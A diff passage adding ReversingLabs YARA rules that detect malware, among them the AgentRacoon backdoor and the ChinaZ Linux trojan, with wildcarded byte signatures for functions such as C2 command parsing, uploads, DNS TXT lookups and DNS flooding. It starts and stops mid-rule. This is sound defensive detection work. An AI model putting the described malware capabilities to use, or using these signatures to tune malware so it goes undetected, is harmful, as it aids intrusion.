+            ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ??
+            DE ?? 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 6F ?? ?? ?? ?? 7E ??
+            ?? ?? ?? 15 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ??
+            ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 14 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ??
+            25 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 14 14 14 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ??
+            ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 9A 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 26 11
+            ?? 73 ?? ?? ?? ?? 17 11 ?? 8E 69 6F ?? ?? ?? ?? 9A 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 11
+            ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C
+            ?? 11 ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 17 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 ??
+            ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 28 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2
+        }
+		$network_communication_p2 = {
+            25 1A 28 ?? ?? ?? ?? A2 25 1B 7E ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 7E ??
+            ?? ?? ?? A2 25 1E 28 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ??
+            ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ??
+            A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2
+            25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25
+            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? 8C ?? ??
+            ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ??
+            ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ??
+            A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2B ?? 7E
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($persistence_mechanism) and ($crypto_miner) and ($downloader) and ( all of ($network_communication_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Agentracoon : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects AgentRacoon backdoor."
+		author = "ReversingLabs"
+		id = "ad74d530-ffbd-589f-b941-3a5d9ec737b6"
+		date = "2023-12-15"
+		modified = "2023-12-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara#L1-L128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3ba73f19f59c2e5880df820c52f16997047d7299eb14d421ae2ed8f3790bcfe9"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "AgentRacoon"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$unpack_response_p1 = {
+            17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 18 91 9C 11 ?? 73 ?? ?? ?? ?? 0A 06 16 6F ?? ??
+            ?? ?? 2D ?? 73 ?? ?? ?? ?? 7A 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 19 91 9C 11 ?? 73
+            ?? ?? ?? ?? 0A 06 1A 6F ?? ?? ?? ?? 2C ?? 06 1B 6F ?? ?? ?? ?? 2C ?? 06 1C 6F ?? ??
+            ?? ?? 2C ?? 06 1D 6F ?? ?? ?? ?? 2C ?? 73 ?? ?? ?? ?? 7A 1F ?? 0B 2B ?? 07 17 58 0B
+            03 07 91 2D ?? 07 17 58 0B 03 8E 69 07 59 0C 08 8D ?? ?? ?? ?? 0D 03 07 09 16 08 28
+            ?? ?? ?? ?? 1A 13 ?? 2B ?? 11 ?? 17 58 13 ?? 09 11 ?? 91 2D ?? 11 ?? 17 58 13 ?? 09
+            8E 69 11 ?? 59 0C 08 8D ?? ?? ?? ?? 13 ?? 09 11 ?? 11 ?? 16 08 28 ?? ?? ?? ?? 02 12
+            ?? FE 15 ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ??
+            7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ??
+            ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ??
+            ?? 12 ?? 07 1F ?? 59 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ??
+            ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 1A 59 8D ?? ?? ?? ?? 7D ??
+            ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ??
+            ?? 12 ?? 1A 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11
+            ?? 7D ?? ?? ?? ?? 03 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 18
+        }
+		$unpack_response_p2 = {
+            02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1A 02 7C ?? ?? ?? ?? 7B ??
+            ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1C 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ??
+            ?? ?? 03 1E 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ??
+            ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ??
+            ?? 16 07 1F ?? 59 28 ?? ?? ?? ?? 09 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ??
+            ?? ?? ?? 09 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 09 1A 02 7C ??
+            ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? 1A 59 28 ?? ?? ?? ?? 11 ?? 16 02 7C ?? ?? ?? ?? 7B
+            ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 11 ?? 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28
+            ?? ?? ?? ?? 11 ?? 1A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 1A 28 ?? ?? ?? ?? 11 ?? 1E
+            02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 02 7C ??
+            ?? ?? ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 1F ?? 91 13 ?? 02 7C ?? ?? ?? ?? 11 ??
+            8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ??
+            28 ?? ?? ?? ?? 2A
+        }
+		$upload = {
+            28 ?? ?? ?? ?? 0A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 16 0B 38 ??
+            ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 06 02 7C ?? ?? ?? ??
+            7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 02 7C ?? ?? ?? ??
+            7B ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 72 ?? ?? ?? ?? A2 11 ?? 17 02 7C ??
+            ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? ?? 06
+            A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ??
+            7B ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07
+            14 6F ?? ?? ?? ?? 07 17 58 0B 07 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 3F
+            ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ??
+            ?? ?? ?? 7D ?? ?? ?? ?? DE 23 0D 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 2A
+        }
+		$perform_request = {
+            05 6F ?? ?? ?? ?? 0A 06 04 3D ?? ?? ?? ?? 06 04 19 5B 18 5A 3F ?? ?? ?? ?? 05 16 06
+            19 5B 6F ?? ?? ?? ?? 0B 05 06 19 5B 06 19 5B 6F ?? ?? ?? ?? 0C 05 06 19 5B 18 5A 6F
+            ?? ?? ?? ?? 0D 02 07 28 ?? ?? ?? ?? 0B 02 08 28 ?? ?? ?? ?? 0C 02 09 28 ?? ?? ?? ??
+            0D 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 07
+            A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 08 A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 09
+            A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 28 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
+            ?? A2 11 ?? 1F ?? 02 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 38 ?? ?? ?? ?? 06
+            04 19 5B 18 5A 3D ?? ?? ?? ?? 06 04 19 5B 3F ?? ?? ?? ?? 05 16 06 18 5B 6F ?? ?? ??
+            ?? 13 ?? 05 06 18 5B 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28
+            ?? ?? ?? ?? 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ??
+            A2 11 ?? 18 11 ?? A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 11 ?? A2 11 ?? 1B 72 ?? ??
+            ?? ?? A2 11 ?? 1C 02 28 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 7B ??
+            ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 2B ?? 02 05 28 ?? ?? ?? ?? 13 ?? 1D 8D ?? ??
+            ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 11 ?? A2 11 ?? 19 72
+            ?? ?? ?? ?? A2 11 ?? 1A 02 28 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 02
+            7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 05 2A
+        }
+		$get_txt_record = {
+            14 0A 03 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ??
+            0D 09 08 08 8E 69 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            09 12 ?? 6F ?? ?? ?? ?? 13 ?? 09 6F ?? ?? ?? ?? 07 11 ?? 6F ?? ?? ?? ?? 07 6F ?? ??
+            ?? ?? 13 ?? 28 ?? ?? ?? ?? 12 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? DE ?? 26 72 ??
+            ?? ?? ?? 13 ?? DE ?? 11 ?? 2A
+        }
+		$main_loop = {
+            73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 18 16 16 6F ?? ?? ?? ?? 0A 06 28
+            ?? ?? ?? ?? 2D ?? 2A 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 2A 7E ?? ??
+            ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 7B ?? ?? ?? ?? 0D 12 ?? 7B
+            ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 7E ?? ?? ?? ?? 19 11 ?? 11 ??
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 14 80 ?? ?? ?? ?? 2A 11 ?? 7E ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 11 ?? 17 58 13 ?? 11 ?? 09 32 ?? 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0B 73 ??
+            ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07
+            17 6F ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
+            11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DD ?? ?? ?? ?? 26 DE ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($unpack_response_p*)) and ($upload) and ($perform_request) and ($get_txt_record) and ($main_loop)
+}
+rule REVERSINGLABS_Linux_Trojan_Chinaz : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects ChinaZ trojan."
+		author = "ReversingLabs"
+		id = "f99c224b-db54-5cae-b5fb-8939ebee3250"
+		date = "2024-07-31"
+		modified = "2024-07-31"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Linux.Trojan.ChinaZ.yara#L1-L246"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d8d08f4f3f36ecc7b219b6b1aae3c76d26e8fb3a44444763929190c6124532ff"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "ChinaZ"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$collect_system_information_32_p1 = {
+            55 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ??
+            ?? 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 31 C9 89 C6 8D 44 24 ?? 31
+            FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 24 ?? 11 D3 C7 44 24 ?? ?? ?? ??
+            ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ??
+            29 F1 19 FB 31 ED 2B 44 24 ?? 89 4C 24 ?? 8D B4 24 ?? ?? ?? ?? 89 5C 24 ?? 89 F7 69
+            C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24
+            ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B
+            5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ??
+            8D 9C 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1
+        }
+		$collect_system_information_32_p2 = {
+            C7 04 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89
+            DF B1 ?? F3 AB 89 DF 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 C7 44 24 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 54 24 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 F7 C7 44 24 ?? ?? ?? ?? ?? 89 D0
+            C1 F8 ?? C1 E8 ?? 01 D0 C1 F8 ?? 89 44 24 ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C2 A1 ?? ?? ??
+            ?? 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 DF B1 ?? F3
+            AB 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 0F
+            85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D
+            C3
+        }
+		$send_system_info_32 = {
+            57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
+            89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            0F 31 31 C9 89 C6 8D 44 24 ?? 31 FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44
+            24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ??
+            8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 29 F1 19 FB 2B 44 24 ?? 89 4C 24 ?? 89 5C 24 ?? 69
+            C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24
+            ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B
+            5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ??
+            C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F C3
+        }
+		$parse_c2_commands_32 = {
+            55 31 C0 57 B9 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 0F B6 94 24
+            ?? ?? ?? ?? 89 DF F3 AB C7 04 24 ?? ?? ?? ?? 88 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 83 E0 ?? 89 84 24 ?? ?? ?? ?? 90 A1 ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 89 74 24 ??
+            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F
+            84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ??
+            ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB
+            8D B4 24 ?? ?? ?? ?? B0 ?? 8D BC 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? B1 ?? F3 A5 89
+            D6 8B BC 24 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85
+            ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 ?? F3 A5 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 89
+            54 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3
+        }
+		$dns_flood_32_p1 = {
+            55 57 56 53 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? 8B
+            B4 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? F6 C3 ?? 89 DF 0F 85 ?? ?? ?? ?? 89 C1 C1 E9 ?? A8
+            ?? F3 A5 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
+            89 F7 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? F7 35 ?? ?? ??
+            ?? 8B 04 95 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 C5 8D
+            44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 AB 8D 54 24 ??
+            89 14 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 84 24 ??
+            ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 89 04 24 E8 ??
+            ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 14 24 89 74 24 ?? 89 54 24 ?? C6 84 24 ?? ?? ?? ??
+            ?? C6 84 24 ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ??
+            ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54
+        }
+		$dns_flood_32_p2 = {
+            24 ?? 89 D1 8B 39 83 C1 ?? 8D 87 ?? ?? ?? ?? F7 D7 21 F8 25 ?? ?? ?? ?? 74 ?? A9 ??
+            ?? ?? ?? 0F 84 ?? ?? ?? ?? 00 C0 89 D7 83 D9 ?? 29 D1 8D 84 0C ?? ?? ?? ?? 66 C7 00
+            ?? ?? 66 C7 40 ?? ?? ?? 8B 0F 83 C7 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ??
+            74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 00 C0 8D 44 24 ?? 83 DF ?? C7 44 24 ??
+            ?? ?? ?? ?? 29 D7 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 74
